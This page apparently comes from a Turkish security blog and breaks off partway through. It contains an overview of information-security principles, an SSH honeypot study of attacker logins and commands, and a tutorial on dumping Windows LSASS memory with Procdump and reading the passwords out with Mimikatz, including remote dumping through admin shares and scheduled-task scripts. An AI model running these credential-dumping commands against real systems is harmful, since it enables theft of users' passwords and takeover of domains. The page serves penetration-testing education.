AG Test

ddddd

ddddd

dddd

Siber Meydan CTF

Bilgi Güvenliği Hakkında Genel Kavramlar

<div style="text-align: justify;"></div><h3><span style="color: #990000; font-size: large;">Bilgi Güvenliği Kavramı</span></h3><div style="text-align: justify;">Bilgi güvenliği, bilgilerin izinsiz erişimlerden, kullanımından, ifşa edilmesinden, yok edilmesinden, değiştirilmesinden veya hasar görmesinden korunması işlemidir. Ortak amaç mahremiyetin, bütünlüğün ve bilginin ulaşılabilirliğinin korunmasıdır. Bu bağlamda bilgi güvenliğini oluşturan alt unsurların tanımlanması gereklidir. Bu unsular aşağıda görülebileceği üzere şu şekildedir:</div><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWiw9XAvl_Qu_lXPWVBNSYbT58XFbE7V5WH12vQPdyruGYrxkS2c9DSWMIA8B8_nVQlFjtGG-NkZ743Gx5-mrpeNpFrC5yytQzEvwrVpC6vG26JB4ZTAajW83geVM3ajMtUhqpEawl7UYg/s1600/bilgiguvenligi.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="528" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWiw9XAvl_Qu_lXPWVBNSYbT58XFbE7V5WH12vQPdyruGYrxkS2c9DSWMIA8B8_nVQlFjtGG-NkZ743Gx5-mrpeNpFrC5yytQzEvwrVpC6vG26JB4ZTAajW83geVM3ajMtUhqpEawl7UYg/s640/bilgiguvenligi.png" width="640" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><h3><b><span style="color: #990000;">Kimlik Sınaması (Authentication)</span></b></h3><div style="text-align: justify;">Kullanıcının sisteme bağlanabilmesi için ilk yapılması gereken işlemdir. Sistem kullanımı sırasında cihaz veya kullanıcının kimliğinin doğrulanmasıdır. Bu işlem ile kullanıcının sahip olduğu kullanıcı adının sistemde kayıtlı olup olmadığı kontrol edilir. Daha sonra kullanıcıya verilen parola da kontrol edilerek doğrulama işlemi yapılır. Doğrulama sağlanırsa kullanıcıya sisteme giriş izni verilir. Bilgisayar ağları ve bilgisayar sistemleri dışında fiziksel sistemler için de çok önemlidir ve bu yüzden akıllı kartlar veya biometrik teknolojilere dayalı kimlik sınama sistemleri kullanılmaya başlanmıştır.</div><div style="text-align: justify;"><br /></div><h3><b><span style="color: #990000;">Yetkilendirme (Authorization)</span></b></h3><div style="text-align: justify;">Kullanıcı adı ve parola doğrulaması sağlanan kullanıcıların sisteme, programa veya ağa hangi yetkilerle erişim hakkına sahip olduklarını belirten prensiptir. Sisteme kayıtlı olan kullanıcılar gruplanarak, bu gruplara çeşitli yetkiler verilir. Kullanıcı içerisinde bulunduğu grubun bütün yetkilerine sahiptir. Eğer bir kullanıcı birden fazla gruba üye ise bu gruplara verilen yetkilerin hepsine sahiptir. Güvenliğin tam sağlanabilmesi için kullanıcılara gerekenden fazla yetki verilmemeli, "least privileges" prensipine göre hareket edilmelidir.</div><div style="text-align: justify;"><br /></div><h3><b><span style="color: #990000;">İzlenebilirlik (Accountability)</span></b></h3><div style="text-align: justify;">Bir sorun ile karşılaşıldığında sorunun tespitinin sağlanabilmesi için kullanılır. Sistemde bulunan kullanıcıların yaptıkları bütün işlemler ve erişim saatleri kayıt altına alınır. Bir problem çıktığında ise kullanıcı aktivitelerinin tutulduğu bu kayıtlardan sorun anlaşılmaya ve çözülmeye çalışılır.</div><div style="text-align: justify;"><br /></div><h3><b><span style="color: #990000;">Gizlilik (Confidentiality)</span></b></h3><div style="text-align: justify;">Bilginin yetkisiz kişilerin eline geçmesini engellemeyi amaçlamaktadır. Bilgi hem bilgisayar sistemlerinde, hem saklama ortamlarında, hem de ağ üzerinde gönderici ve alıcı arasında taşınırken yetkisiz erişimlerden korunmalıdır. Saldırgan bir yapılandırma veya yazılım hatasını istismar ederek yahut sosyal mühendislik teknikleri ile yetkili insanların hatalarını istismar ederek bilgilere izinsiz olarak erişebilir.</div><div style="text-align: justify;"><br /></div><h3><b><span style="color: #990000;">Veri Bütünlüğü (Data Integrity)</span></b></h3><div style="text-align: justify;">Amaç, veriyi olması gerektiği şekilde tutmak ve korumaktır. Bilginin bozulmasını, değiştirilmesini, yeni veriler eklenmesini, bir kısmının veya tamamının silinmesini engellemeyi hedefler. Bu durumda veri, haberleşme sırasında izlediği yollarda değiştirilmemiş, araya yeni veriler eklenmemiş, belli bir kısmı ya da tamamı tekrar edilmemiş ve sırası değiştirilmemiş şekilde alıcısına ulaşır.</div><div style="text-align: justify;"><br /></div><h3><span style="color: #990000;">Kullanılabilirlik </span><b><span style="color: #990000;">(Availability)</span></b></h3><div style="text-align: justify;">Bilginin her an ulaşılabilir ve kullanılabilir olmasını amaçlayan prensiptir. Bilişim sistemlerinin kendilerinden beklenen işi sürekli bir şekilde tam ve eksiksiz olarak yapmasını amaçlamaktadır. Kullanılabilirlik hizmeti, bilişim sistemlerini, kurum içinden ve dışından gelebilecek başarım düşürücü tehditlere karşı korumayı hedefler. Kullanılabilirlik sayesinde, kullanıcılar, erişim yetkileri dâhilinde olan verilere, veri tazeliğini yitirmeden, zamanında ve güvenilir bir şekilde ulaşabilirler.</div><div style="text-align: justify;"><br /></div><h3><b><span style="color: #990000;">Güvenilirlik (Reliability-Consistency)</span></b></h3><div style="text-align: justify;">Sistemin öngörülen ve beklenen davranışı ile elde edilen sonuçlar arasındaki tutarlılık durumudur. Sistemin kendisinden beklenen şeyi eksiksiz/fazlasız olarak her çalıştırıldığında tutarlı şekilde yapmasıdır.</div><div style="text-align: justify;"><br /></div><h3><b><span style="color: #990000;">İnkâr Edememe (Non-repudiation)</span></b></h3><div style="text-align: justify;">Bu prensip verinin iletildiği gönderici ve alıcı arasında ortaya çıkabilecek iletişim sorunları ve anlaşmazlıkları en aza indirmeyi amaçlar. İki sistem arasında bir bilgi aktarımı yapılmışsa ne gönderen veriyi gönderdiğini, nede alıcı veriyi aldığını inkâr edememelidir. Özellikle gerçek zamanlı işlem gerektiren finansal sistemlerde kullanım alanı bulmaktadır.</div>

Bilgi Güvenliği Hakkında Genel Kavramlar

Bilgi Güvenliği Kavramı Bilgi güvenliği, bilgilerin izinsiz erişimlerden, kullanımından, ifşa edilmesinden, yok edilmesinden, değiştirilmesi...

SSH Tuzak Sistemleri ve Bir Saldırının Ayak İzleri

<br /><div class="separator" style="clear: both; text-align: center;"><a href="http://3.bp.blogspot.com/-PxNMgsAZ-qU/Uj4XZ2V6eqI/AAAAAAAAAbw/S3BQdsJM5p0/s1600/honeypot.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="118" src="http://3.bp.blogspot.com/-PxNMgsAZ-qU/Uj4XZ2V6eqI/AAAAAAAAAbw/S3BQdsJM5p0/s200/honeypot.jpg" width="200" /></a></div><div style="text-align: justify;">Bu yazıda <a href="http://www.securityfocus.com/infocus/1876">http://www.securityfocus.com/infocus/1876</a> adresinde yayınlanan makale temel alınmıştır. Hazırlık aşamasında; SSH sunucu sistemi için tuzak sistem kurularak, sisteme gerçekleştirilen sızma denemelerinin detaylı analizi gerçekleştirilmiştir. Kurulan SSH tuzak sistemi yaklaşık bir ay kadar canlı olarak gözlemlenmiştir. Bu bir aylık süreç içerisinde sisteme erişim için denenen kullanıcı adları, şifreleri, kullanıcı adı/şifre ikilisi ve son olarak hangi ülkelerden erişim denemelerinin gerçekleştirildiği incelenmiştir.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">SSH ( Secure Shell ) iki ağ cihazı arasında verinin güvenli bir biçimde iletilmesini sağlayan protokolün ismidir. Bu protokolün açık kaynak kod olarak Linux/Unix sistemlerde de kullanılan hali ise OpenSSH’dir. OpenSSH ile ilgili daha fazla bilgi için<a href="http://www.openssh.com/">http://www.openssh.com/</a> adresine başvurulabilir.<br /><a name='more'></a></div><br /><div style="text-align: justify;">Kurulan SSH tuzak sistem ile sisteme erişim sağlamak için yapılan denemelere ait detaylar incelenerek, SSH sunucu sistemleri için mevcut tehditler ele alınmaya çalışılmıştır. Makalenin son bölümünde ise SSH tuzak sistemlere başarılı bir şekilde erişim gerçekleştiren kullanıcıların, sistemler üzerindeki kayıt bilgileri incelenmiştir.</div><br /><div><b>Toplam Yetkisiz SSH Erişimi</b><br /><br />SSH tuzak sisteminin canlı olduğu süre içerisinde toplam olarak 9366 kullanıcı adı, şifre denemesi ile sisteme sızma girişimi gerçekleştirilmiştir. Daha öncede belirtildiği üzere bu denemeler SSH tuzak sistemin canlı olduğu bir aylık süre içerisinde gerçekleştirilen verileri içermektedir.</div><div><br /><b>En Çok Denenen Kullanıcı Adları ve Şifreleri</b><br /><br /><div style="text-align: justify;">Şekil 1’de görüldüğü üzere sisteme sızmak için en çok  tercih edilen kullanıcı adı  root olmuştur. Linux/Unix sistemlerde en yetkili kullanıcının root kullanıcısı olduğu göz önüne alındığında,  sisteme gerçekleştirilen sızma denemeleri için tercih edilen ve edilecek kullanıcı adının root seçilmesi muhtemel görünmektedir. Bu noktada SSH sunucu servisi için alınabilecek güvenlik önlemlerinden bir tanesi, root kullanıcısının sisteme direkt giriş yapmasına izin vermemek olmalıdır. Önce sisteme yetkisiz bir kullanıcı olarak oturum açılmalı ve ardından root kullanıcı kimliğine bürünülmesi sağlanmalıdır. Bu şekilde sisteme root kullanıcı kimliği ile sızma denemeleri de önlenmiş olacaktır.</div></div><div><br /></div><div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><img src="http://www.bilgiguvenligi.gov.tr/images/stories/galkan/ssh/ekil_1.jpg" style="margin-left: auto; margin-right: auto;" /></td></tr><tr><td class="tr-caption" style="text-align: center;"><span style="font-size: small; text-align: start;">Şekil 1 En çok denenen 10 kullanıcı adı</span></td></tr></tbody></table>Yine aynı şekilde en çok denenen şifreler ise Şekil 2’de görülmektedir. Buradan da görüleceği üzere seçilecek şifrelerin kolay tahmin edilemeyecek olmasına dikkat edilmesi gerekmektedir.</div><div><br /></div><div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><img src="http://www.bilgiguvenligi.gov.tr/images/stories/galkan/ssh/ekil_2.jpg" style="margin-left: auto; margin-right: auto;" /></td></tr><tr><td class="tr-caption" style="text-align: center;"><span style="font-size: small; text-align: start;">Şekil 2 En Çok Denenen 10 Şifre</span></td></tr></tbody></table><b>En Çok Denenen Kullanıcı Adı/Şifre İkilisi</b></div><div><br />Daha öncede belirtildiği üzere sisteme sızmak için en çok tercih edilen kullanıcı adı olarak root seçilmiştir. Bu bağlamda sisteme sızmak için denenen en çok kullanılan kullanıcı adı/şifre ikilisi root kulanıcısı için olacaktır. Bu durum Şekil 3’de gösterilmiştir.</div><div><br /></div><div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><img src="http://www.bilgiguvenligi.gov.tr/images/stories/galkan/ssh/ekil_3.jpg" style="margin-left: auto; margin-right: auto;" /></td></tr><tr><td class="tr-caption" style="text-align: center;"><span style="font-size: small; text-align: start;">Şekil 3 En Çok Denenen Kullanıcı Adı/Şifre İkilileri</span></td></tr></tbody></table><span style="text-align: justify;">Sisteme sızmak için gerçekleştirilen kullanıcı adlarının, sistemde var olan kullanıcılara oranı ise %68 olarak göze çarpmaktadır. Bunun için alınabilecek önlemlerden bir tanesi  kullanıcılar için kabuk ortamının sisteme oturum açmasını engelleyecek şekilde yapılandırılması, eğer  kullanıcı sistemde kullanılmıyor ise kaldırması şeklinde olmalıdır.</span></div><div style="text-align: justify;"><br /></div><div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><img src="http://www.bilgiguvenligi.gov.tr/images/stories/galkan/ssh/ekil_4.jpg" style="margin-left: auto; margin-right: auto;" /></td></tr><tr><td class="tr-caption" style="text-align: center;"><span style="font-size: small; text-align: start;">Tablo 1 Sistem Kullanıcıları İçin Yetkisiz Erişim Deneme Sayıları</span></td></tr></tbody></table><b>Denemelerin Ne Kadarı Botlar Tarafından Gerçekleştirildi ?</b></div><div><br /><div style="text-align: justify;">SSH tuzak sisteme gerçekleştirilen toplam 9366 demeden 2 tanesi  gerçek sisteme sızma denemesi olarak tespit edilmiştir. Bu orandan da görüleceği üzere denemelerin çok büyük bir kısmı otomatik araçlar tarafından gerçekleştirilmiştir. Bu tarz otomatik tarama araçları ile gerçekleştirilen sızma denemelerini önlemek için alınabilecek önlemlerden bir tanesi de SSH servisinin hizmet verdiği ön tanımlı port numarasının değiştirilmesi olmalıdır.</div></div><div><b>Denemelerin En Çok Gerçekleştirildiği Ülkeler</b><br /><br /><div style="text-align: justify;">Kurulan tuzak sistemin Amerika Birleşik Devletleri lokasyonlu olduğu göz önünde bulundurulacak olursa, en çok sızma denemesi sırası ile Amerika Birleşik Devletleri, Çin ve Mısır’dan gerçekleştirilmektedir. Bu duruma ait istatiksel ve yüzdesel bilgiler Tablo 2 ve Şekil 5’ de gösterilmektedir.</div></div><div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><img src="http://www.bilgiguvenligi.gov.tr/images/stories/galkan/ssh/tablo_1.jpg" style="margin-left: auto; margin-right: auto;" /></td></tr><tr><td class="tr-caption" style="text-align: center;"><span style="font-size: small; text-align: start;">Tablo 2 Yetkisiz Erişim Denemelerinin Gerçekleştirildiği Ülke İsimleri ve Deneme Sayıları</span></td></tr></tbody></table></div><div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><img src="http://www.bilgiguvenligi.gov.tr/images/stories/galkan/ssh/ekil_5.jpg" style="margin-left: auto; margin-right: auto;" /></td></tr><tr><td class="tr-caption" style="text-align: center;"><span style="font-size: small; text-align: start;">Şekil 4 Yetkisiz Erişim Denemelerinin Gerçekleştirildiği Ülke İsimleri ve Deneme Yüzdeleri</span></td></tr></tbody></table></div><div><b>Bir Saldırının Ayak İzleri</b><br /><br /><div style="text-align: justify;">SSH tuzak sistemine başarılı bir şekilde erişim sağlayan kullanıcıların, sistem üzerinde kullandıkları komutlar incelenmiş ve olası senaryolar üzerinde durulmuştur. Sisteme erişim sağlayan kullanıcıların ilk olarak en çok denedikleri komutun wget olduğu gözlemlenmiştir. wget,  ftp,  lynx, curl vb. gibi komut satırından çalışan, uzak sistemlerden dosya temin etmek için kullanılan komutlar yardımı ile sistem üzerinde zararlı kod çalıştırarak yetkili kullanıcı haklarına sahip olunmaya çalışılmıştır. Yine bunun yanında uname, uptime ve ps gibi komutlarla sistem çalışma durumu , sistem üzerinde çalışan süreçler ve  çekirdek hakkında bilgi toplanmaya çalışılmıştır.</div></div>

SSH Tuzak Sistemleri ve Bir Saldırının Ayak İzleri

Bu yazıda http://www.securityfocus.com/infocus/1876 adresinde yayınlanan makale temel alınmıştır. Hazırlık aşamasında; SSH sunucu sistemi i...

Procdump ve Mimikatz ile LSASS İçerisinden Oturum Açan Kullanıcıların Parolalarını Elde Etme

<div style="text-align: justify;"><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6LLGqK4xWLlsXuK9UqPlbQcASJFWREVi9a7SEQvQY9EOVR9HiYLOE1LkG3MX0qLrzL4uuduMwCTvH0B9OZBBG1cCy6a-2kq7mQgxrs_P1Fgu0aTjJR3b6B9Nz3Z3mHolAm-P2HhAMFb0/s1600/01.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6LLGqK4xWLlsXuK9UqPlbQcASJFWREVi9a7SEQvQY9EOVR9HiYLOE1LkG3MX0qLrzL4uuduMwCTvH0B9OZBBG1cCy6a-2kq7mQgxrs_P1Fgu0aTjJR3b6B9Nz3Z3mHolAm-P2HhAMFb0/s320/01.jpg" width="320" /></a></div>Mimikatz bir prosesin (içerisinde kimlik bilgileri barındıran LSASS.exe) içinden logon olmuş kullanıcıların parolalarını çekebilmektedir. Böylece oturum açılabilen ama AV gibi engelleyici sistemler yüzünden mimikatz/wce çalıştırılamayan makinelerde proses içerisinden bu kimlik bilgileri elde edilebilir. Bu aracın çalışma mekanizması ile ilgili ayrıntılı bilgi için bakınız:<br /><a href="http://www.agguvenligi.net/2013/09/wce-ve-mimikatz-ile-windows-parolasi-elde-edilmesi.html">http://www.agguvenligi.net/2013/09/wce-ve-mimikatz-ile-windows-parolasi-elde-edilmesi.html</a><br /><br /><br /><br />Proses içerisinden parolaları elde edebilmek için öncelikle ele geçirilen kritik makineden LSASS prosesinin dump dosyası alınır:</div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNEwUgKLyRWuyHIUTIaeoR7LObUrrURU0XHylIeAhczI0Mgr4uk7MZxCMgMh2bn5uv5VO1vT_9ZUbpA_J137Q1qHKkREdR1umwdYxGYtNqHVPYTrV9M8qCdNN_TTLJLEJl5d8nUueI5lY/s1600/00.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNEwUgKLyRWuyHIUTIaeoR7LObUrrURU0XHylIeAhczI0Mgr4uk7MZxCMgMh2bn5uv5VO1vT_9ZUbpA_J137Q1qHKkREdR1umwdYxGYtNqHVPYTrV9M8qCdNN_TTLJLEJl5d8nUueI5lY/s320/00.png" width="308" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Proses dump dosyasının alınması</td></tr></tbody></table><br /><div style="text-align: justify;"><b>Not: </b>Ekran görüntüsünde de görüldüğü gibi, Şirket etki alanında bulunan bir sunucuda 3 kullanıcının (StandartKullanici1, YoneticiKullanici1, Administrator) bilgisayarda oturum açtığı görülmektedir.</div><br />Bu dosya bir yere kaydolur:<br /><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhS_kaKt2-rKkWpdrMw0pT9yliczxAxh1EXt89ldF1Q8RIMPmBpkaA_gemiE-Jf4oyKFzA1Ju23f9A60eTpeB5aPKFrRkgxAp4H1Yn4vnF_iiVSY38ct7xF9kNabscv3TugAf3drJhZf2I/s1600/01.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhS_kaKt2-rKkWpdrMw0pT9yliczxAxh1EXt89ldF1Q8RIMPmBpkaA_gemiE-Jf4oyKFzA1Ju23f9A60eTpeB5aPKFrRkgxAp4H1Yn4vnF_iiVSY38ct7xF9kNabscv3TugAf3drJhZf2I/s320/01.png" width="309" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Dump dosyasının kaydedilmesi</td></tr></tbody></table><br /><div style="text-align: justify;">Bu dump dosyası, RDP ile yerel disk paylaşımı yolu veya başka bir yol ile aynı mimariye sahip bir makineye alınır. Bu örnekte Windows Server 2008 R2 makineler kullanılmıştır. Bu makine üzerinde Mimikatz çalıştırılacağı için, makinenin sanal makine olması tercih edilir. Ayrıca mimikatz’ın çalışmasını engelleyen tüm sistemler devre dışı bırakılır.</div><div style="text-align: justify;"><br /></div>Sanal makinede aşağıdaki uygulamalar hazır bulunmalıdır:<br /><ul><li><b>Procdump:</b> <a href="http://technet.microsoft.com/en-us/sysinternals/dd996900.aspx">http://technet.microsoft.com/en-us/sysinternals/dd996900.aspx</a></li><li><b>Mimikatz:</b> <a href="http://blog.gentilkiwi.com/mimikat">http://blog.gentilkiwi.com/mimikat</a>z --> <b>“mimikatz_trunk\alpha\x64”</b> dizinindeki <b>mimikatz.exe</b> kullanılacaktır.</li></ul><br />Bu iki uygulama ve alınan dump sanal makinede bir klasöre konulur.<br /><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTxtf-qxjX-HKNxVU97vH-my8pvzwe7sOtFMu2QHN0oRVUmHTVp1SlK-2pZymG2A0PlUDQikxuUHWu_5fp6WG-dT7xaDFwYXYlitZ751r6_P_QlWBV5b_8L-KAJEMuoa0rgjyqS3PoS9w/s1600/02.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="102" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTxtf-qxjX-HKNxVU97vH-my8pvzwe7sOtFMu2QHN0oRVUmHTVp1SlK-2pZymG2A0PlUDQikxuUHWu_5fp6WG-dT7xaDFwYXYlitZ751r6_P_QlWBV5b_8L-KAJEMuoa0rgjyqS3PoS9w/s320/02.png" width="320" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Dump dosyası ve kullanılacak diğer araçların listelenmesi</td></tr></tbody></table><br /><div style="text-align: justify;">Örnek olması açısından mimikatz uygulaması, bilgisayar adı "SRV" olan sanal sunucuda çalıştırılacaktır. Görüldüğü gibi, sadece oturumu açık olan Administrator kullanıcısının parolası (Test123) elde edilebilmektedir. Çalıştırılan komutlar aşağıdaki gibidir:</div><blockquote class="tr_bq"><i>mimikatz</i><br /><i>privilege::debug</i><br /><i>sekurlsa::logonPasswords full</i></blockquote><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5PGt6NOqau3I7hzks6_Y98S1nhT4APoTyASrwdcrXLkmKyoBGeHVElLhlGX9xOShKWrRIJs3Jdtn28ppOAuz0yUW46CTYVnsNThbP-e58AT7W5Cd7h4VPD11J0trr4Fw-EyWDQbEjFOs/s1600/03.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5PGt6NOqau3I7hzks6_Y98S1nhT4APoTyASrwdcrXLkmKyoBGeHVElLhlGX9xOShKWrRIJs3Jdtn28ppOAuz0yUW46CTYVnsNThbP-e58AT7W5Cd7h4VPD11J0trr4Fw-EyWDQbEjFOs/s1600/03.png" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Mimikatz aracının standart kullanımı</td></tr></tbody></table><br /><div style="text-align: justify;">Dump bilgisi alınan bilgisayarda oturum açmış olan kullanıcıların parola bilgilerini almak için sanal makinedeki LSASS prosesine, dump bilgisi alnan LSASS prosesi yazılacaktır. Daha sonra da yukarıdaki örneğe benzer olarak LSASS prosesine DLL enjeksiyonu gerçekleştirilerek proseste kayıtlı olan parola bilgileri alınacaktır. Bu amaçla, komut satırından hazırlanan klasöre gelinerek aşağıdaki komutlar çalıştırılır.</div><blockquote class="tr_bq"><i>procdump -accepteula -ma lsass.exe lsass.dmp</i><br /><i>mimikatz.exe</i><br /><i>sekurlsa::minidump lsass.dmp</i><br /><i>sekurlsa::logonPasswords</i></blockquote><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZirVGDrzI9LzBkkJyRf-x_ox0RBhnTFf5cDWEYFL7BwR4mEBn1AamL1wwcjJh8TUc1NWXHBJKuJo-qm9LraO2w3KhypeJK-dnQx-NiqjwSI7XHkdO8VoYFlSArqYzm7we1uocEF-DVH0/s1600/04.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="295" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZirVGDrzI9LzBkkJyRf-x_ox0RBhnTFf5cDWEYFL7BwR4mEBn1AamL1wwcjJh8TUc1NWXHBJKuJo-qm9LraO2w3KhypeJK-dnQx-NiqjwSI7XHkdO8VoYFlSArqYzm7we1uocEF-DVH0/s320/04.png" width="320" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Dış sistemden alınan LSASS prosesinin içerisindeki bilgilerin iç sistemde elde edilmesi </td></tr></tbody></table><br />Böylece, oturum açmış olan kullanıcıların parola özetleri ve parolalarının açık hali elde edilir.<br /><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCjAhOjsRsl_Wh0Nl5M6R1D_KstKdB_7NVYX0fcVQfNvnFnf3DePBw6zQpiQAn1VUrO8f4ia75lY3ohXcyPkc8Xbn0qSS4A3-AVk-g0bULZwlutGvh4fL6XOJrZZuNmDesBRelhKmkGps/s1600/05.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCjAhOjsRsl_Wh0Nl5M6R1D_KstKdB_7NVYX0fcVQfNvnFnf3DePBw6zQpiQAn1VUrO8f4ia75lY3ohXcyPkc8Xbn0qSS4A3-AVk-g0bULZwlutGvh4fL6XOJrZZuNmDesBRelhKmkGps/s320/05.png" width="260" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Parola bilgilerinin listelenmesi</td></tr></tbody></table><br /><b>Not:</b> LSASS prosesi haricinde bir proses kullanıldığında aşağıdaki gibi hata mesajları alınabilmektedir.<br /><blockquote class="tr_bq"><i>ERROR kuhl_m_sekurlsa_acquireLSA ; Modules informations</i><br /><i>ERROR kuhl_m_sekurlsa_acquireLSA ; Handle of memory</i></blockquote><br /><div style="text-align: justify;"><b>Not: </b>Dump alma işlemi, Exchange Server 2010 CAS/MBS rolüne sahip bir sunucuda gerçekleştirilirse, mail yollamak için bu sunucudan DC'ye  giden tüm kullanıcıların parolaları elde edilebilir. Bu sebeple, DC'ye erişimlerin yanında Exchange sunucuya erişimler de önem arz etmektedir.</div><br /><h4>LSASS Dump Dosyasının Uzak Makineden Alınması</h4><div style="text-align: justify;">Yukarıdaki adımlarda uzak makineye RDP gerçekleştirilerek dump dosyası alınmıştı. RDP, FW tarafından engellenmişse, yönetimsel paylaşımlar ve zamanlanmış görevler kullanılarak da bu işlemler gerçekleştirilebilir. Bu amaçla bir zamanlanmış görevin çalıştırılacağı bir betik (Procdump_Betik.bat) hazırlanır. Betik içeriği şu şekildedir:</div><blockquote class="tr_bq"><i>@echo off</i><br /><i>C:\Yeni_Klasor\procdump.exe -accepteula -ma lsass.exe C:\Yeni_Klasor\Hedef_LSASS.dmp</i></blockquote>Bu betik çalıştığı makinede LSASS prosesinin dump'ını C:\Yeni_Klasor içerisine bir dosyaya atmaktadır.<br /><br /><div style="text-align: justify;">Saldırganın makinesinin (SRV adlı / 192.168.100.102 IP adresli makine)  masaüstünde Test adlı bir klasörde bu betik, Procdump ve Mimikatz uygulamaları bulunmaktadır:</div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiw9zA-bSxHV8sgNYV-hmQWPsuApqhgjpn-usr9e6HNxwYpb_kstEm5GXHTJRENimNW2B48LTyy11eUPGFmmVjXgS0a1BJx3SEHdzMCgkPj62v-yQZY66TTKBLAOwWeIicM0-1u2sndzto/s1600/06.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiw9zA-bSxHV8sgNYV-hmQWPsuApqhgjpn-usr9e6HNxwYpb_kstEm5GXHTJRENimNW2B48LTyy11eUPGFmmVjXgS0a1BJx3SEHdzMCgkPj62v-yQZY66TTKBLAOwWeIicM0-1u2sndzto/s1600/06.png" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Uzak makinedeki LSASS prosesinin alınması için gerekli araçların listelenmesi</td></tr></tbody></table><span style="text-align: justify;"><br /></span><span style="text-align: justify;">Saldırgan ele geçirdiği hedef makinenin (DC adlı / 192.168.100.101 IP adresli makine) C diskine Yeni_Klasör adlı bir dizin oluşturur. Bu amaçla kullanılan komutlar şu şekildedir:</span><br /><blockquote class="tr_bq"><i>net use \\192.168.100.101\C$ /user:Sirket\Saldirgan Deneme123?</i><br /><i>dir \\192.168.100.101\C$</i><br /><i>mkdir \\192.168.100.101\C$\Yeni_Klasor</i></blockquote><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzy8r8Arhp4ZshIvpE9ACJ-4GPaC4h1zg-OXpWZ6JrXTsbfwelaFMugi7QqS-rCsLOPx-Foksamuls5taJwQmsu4rQzUYKt7VL0zwMCaxvM1IjVGdRTjlyUVIWc3bXGc-KHiuuiVVrL1E/s1600/07.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="112" 